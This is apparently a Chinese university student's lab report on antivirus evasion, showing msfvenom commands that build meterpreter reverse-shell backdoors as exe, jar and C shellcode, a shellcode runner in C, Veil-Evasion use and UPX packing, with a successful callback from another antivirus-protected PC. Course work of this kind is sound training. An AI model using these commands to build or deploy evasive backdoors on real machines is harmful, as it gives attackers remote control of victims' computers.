2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
通过组合应用各种技术实现恶意代码免杀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
任务一 正确使用免杀工具或技巧
1、使用msf编码器msfvenom生成后门程序
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.200 LPORT=5315 -f exe > msf5315.exe指令进行多次编码,生成.exe的后门程序

- 放到windows系统中,果不其然,杀软可以发现它

- 使用virscan进行扫描,结果如下所示:

有超过一半的杀软能查杀该后门程序
- 用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.196.200 lport=5315 x> 5315met.jar生成.jar的后门程序

- 使用msfconsole回连成功

- 放到windows系统中,杀软并没有发现它...我觉得可能是我的杀软太垃圾了...

- 使用virscan进行扫描,结果如下所示:

虽然好像检测率降低了,但是没有实现免杀,提示警告信息
2、使用veil-evasion生成后门程序
- 安装veil-evasion(参考安装教程)
使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
再使用如下指令进行后续安装
# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh
以上过程比较漫长,需要一些耐心~
- 输入
veil,启用veil

- 输入
use evasion,进入veil-evasion - 输入
list,查看可生成文件的格式

- 输入
use 7,选择C语言格式 - 依次输入
set LHOST 192.168.196.200和set LPORT 5315设置反弹连接IP和端口 - 输入
generate生成文件,再设置playload的名字:payload5315

- 生成成功

- 放到windows中,显示"文件所在的卷已被外部更改,文件不再有效",经过查杀,发现果然被发现了:

- 使用virscan进行扫描,结果如下所示:

查杀结果依然显示危险
3、利用shellcode编程生成后门程序
- 用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.200 LPORT=5315 -f c生成一段shellcode

- 利用shellcode编写一个C语言程序后门,再用
i686-w64-mingw32-g++ shellcode5315.c -o shellcode5315.exe编译运行后,测试其可用性
C语言代码如下:
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}

- 复制到Windows中双击运行时显示"文件所在的卷已被外部更改,文件不再有效",通过查杀发现果然被杀软找到了:

- 使用virscan进行扫描,结果如下所示:

无法实现免杀
任务二 通过组合应用各种技术实现恶意代码免杀
对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的
payload5315.exe可执行文件加UPX压缩壳尝试实现免杀被控机是Win7虚拟机,电脑杀软为腾讯电脑管家13.0.19837.233

- 使用virscan进行扫描,结果如下所示:

- windows杀软没有发现:

- 使用msfconsole回连成功:

不知道为什么,虽然windows杀软没查出来,但是在virscan中反而检测率很高了...
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
最后一项任务生成的后门程序在自己的windows虚拟机上可以实现免杀,但是在别人的电脑上尝试后发现不能回连,于是我开始找原因(过程令人头秃)...
我们先相互ping一下主机,都发现没有ping通,显示"TTL过期",这是两台主机不在一个网段导致的,于是我们尝试改变了一下网络适配器为“桥接模式”,于是...我的windows 成功的ping通了她的kali,然鹅她的ping不通我的kali,显示“无法访问目标主机”...但是她能ping通我的本机系统
我在网上查了一下,一般回答都列举出以下几个方面
- 本机虚拟机没有关闭防火墙...但是kali没有防火墙,不存在关闭开启之说
- 不在一个网段...这个刚刚修改过网段,不存在这个问题
- 本机网关设置错误...不存在这个问题
- 对方主机没关防火墙...尝试关了之后重启...好像成功了!!但是之前也尝试过关防火墙,但是也没有ping通,不知道这次为什么成功了,可能是因为重启了叭
以下是成功过程截图
和任务二一样,对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe可执行文件加UPX压缩壳尝试实现免杀
另一台被控机是Win10本机,电脑杀软为金山毒霸11.2019.1.1.032617.1335
- 我将文件发送到目标主机上,用杀软进行查杀,没有发现危险


- 双击运行后,我的kali的console实现回连(对方主机ip为10.1.1.175)


三、实验中遇到的问题
在安装运行Veil-Evasion时,遇到很多报错...换了好几个源文件,好几种方法都无法正常安装运行

解决过程:
一开始询问其他同学,发现安装好的同学的kali虚拟机是2019版的,而没安装好的同学基本是2018版,可能和虚拟机版和veil版本不匹配有关,于是我重新安装了2019版的kali虚拟机,将之前的文件拷贝进新的虚拟机,最终按照任务中的教程完成安装。

在使用veil的过程中选择python语言生成文件失败

解决过程:
通过学习学姐的博客,发现是python语言不可以使用的问题,所以按照同样的方法,选择别的语言,例如“c”试一下就行了。

在使用i686-mingw32-w64-g++编译器时,提示找不到该指令
解决过程:
一开始使用apt-get install i686-w64-mingw32指令下载,显示定位不到软件包

后来使用update更新本地软件包后,可正常使用。

当我将生成的后门程序复制到windows上并双击运行时,显示"文件所在的卷已被外部更改,文件不再有效"

解决过程:
通过查询网络,只要关掉杀软就可以解决这个问题,这也从反面证明这个程序被杀软发现了才无法运行,而且通过杀软查杀也发现了该后门程序危险。
四、实验总结
1、基础问题回答
(1)杀软是如何检测出恶意代码的?
主要有三种方式:1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
(3)免杀的基本方法有哪些?
主要有三种方法:1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。
2、实验总结和收获
这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。虽然此次实验比较基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
同时,我在打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。
3、离实战还缺少的技术或步骤
我在实验中基本就是跟着指导指令一步一步走,没有什么技术含量,而且实验中的后门程序都是我们直接复制粘贴到靶机上的,但实际攻击的时候是不可能把一个赤裸裸的木马放过去的,所以要用一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等。
2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- spring入门-注解的使用
说明: 使用注解和使用配置文件实现的功能是一样的,都是为了解耦,但是配置文件语法属于非编程语言法语,无法调试,难以定位bug,使用注解更易定位问题. 配置步骤 编译器必须先安装了STS插件 第一步 导 ...
- sqoop的安装
Sqoop是一个用来完成Hadoop和关系型数据库中的数据相互转移的工具, 他可以将关系型数据库(MySql,Oracle,Postgres等)中的数据导入Hadoop的HDFS中, 也可以将HDFS ...
- 01-JDK环境配置
环境说明: Window server 2008 64位 jdk-7u80-windows-x64 apache-tomcat-7.0.57-windows-x64 1.安装JDK环境配置 JAVA_ ...
- Scrapy CrawlSpider源码分析
crawl.py中主要包含两个类: 1. CrawlSpider 2. Rule link_extractor:传LinkExtractor实例对象 callback:传”func_name“ cb_ ...
- CSS3之动画模块实现云朵漂浮效果
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 【人工智能】从零开始学好人工智能,AI知识体系和框架
写在前面: 最近公司的业务方向开始向AI方向改变(人工智能+文娱),但是现阶段AI方面的知识还没有储备,所以作为测试,也开始学习这方面的知识,不掉队. 知识储备: 1.阶段一-高等数学 高 ...
- java 连接SQL Server
1.确认服务器的连通性,并且使用账户密码模式登陆有效. 1).登陆服务器 2).查看安全性 2.新建数据库用于测试 3.下载jdbc安装并配置 进入微软官网主页--> 搜索JDBC-->找 ...
- 分组密码算法AES-128,192,256 C语言实现第一版
AES的C语言实现入门版 AES分组密码算法中明文分组位128bits,密钥分组可以为128,192,256bits.AES也是由最基本的变换单位——“轮”多次迭代而成的.我们将 AES 中的轮变换计 ...
- java面试题复习(八)
71.如何通过反射创建对象? 方法1:通过类对象调用newInstance()方法,例如:String.class.newInstance() 方法2:通过类对象的getConstructor()或 ...
- for 和while循环 if else
for和 while循环 当你知道循环次数的话就用for循环, 不知道的时候用while循环,while必须要有结束条件 a +=1 等于 a =a+1 for i in xxx: i:是一个变量 ...